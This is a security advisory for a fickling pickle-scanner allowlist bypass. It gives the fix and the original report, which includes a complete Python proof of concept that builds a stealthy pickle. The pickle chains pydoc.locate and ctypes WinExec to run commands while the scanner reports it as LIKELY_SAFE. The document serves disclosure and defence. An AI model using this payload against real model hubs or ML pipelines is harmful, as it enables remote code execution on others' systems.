CVE-2026-22608: fickling: Allowlist Bypass evades input filtering

# Fickling's assessment `pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1). # Original report ### Summary Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE ### Details Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1). To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin ### PoC ```python import os GLOBAL = b'c' STRING = b'S' BININT = b'K' TUPLE1 = b'\x85' TUPLE2 = b'\x86' EMPTY_TUPLE = b')' REDUCE = b'R' PUT = b'p' GET = b'g' POP = b'0' EMPTY_DICT = b'}' SETITEM = b's' BUILD = b'b' STOP = b'.' def generate_stealth_payload(): payload = b"" payload += GLOBAL + b"pydoc\nlocate\n" payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n" payload += TUPLE1 + REDUCE payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec> payload += POP payload += GET + b"0\n" payload += b"C" + b"\x08" + b"calc.exe" payload += BININT + b"\x01" payload += TUPLE2 + REDUCE payload += PUT + b"1\n" # Var 1 = Execution Result payload += POP payload += GLOBAL + b"builtins\nException\n" payload += EMPTY_TUPLE + REDUCE payload += PUT + b"2\n" # Var 2 = Exception instance payload += EMPTY_DICT payload += STRING + b"'rce_status'\n" payload += GET + b"1\n" payload += SETITEM # { 'rce_status': result } payload += BUILD payload += STOP return payload data = generate_stealth_payload() with open("stealth_ctypes.pkl", "wb") as f: f.write(data) print("Generated 'stealth_ctypes.pkl'") ```` What fickling sees ```python from pydoc import locate _var0 = locate('ctypes.windll.kernel32.WinExec') _var1 = _var0(b'calc.exe', 1) _var2 = Exception() _var3 = _var2 _var3.__setstate__({'rce_status': _var1}) result0 = _var3 ``` <img width="915" height="197" alt="image" src="https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a" />

Adversary publishes a malicious .pkl file to a public model hub or compromises an internal model registry. The file passes fickling <= 0.1.6 scan (pydoc and ctypes not blocked), receiving LIKELY_SAFE status. An automated MLOps pipeline or data scientist downloads and loads the model for fine-tuning or inference evaluation — triggering the embedded pickle opcodes. The payload resolves ctypes.windll.kernel32.WinExec (or Linux CDLL equivalent) via pydoc.locate() and executes attacker-controlled commands on the ML training node or inference server, yielding persistent access to GPU infrastructure, proprietary model weights, and training datasets.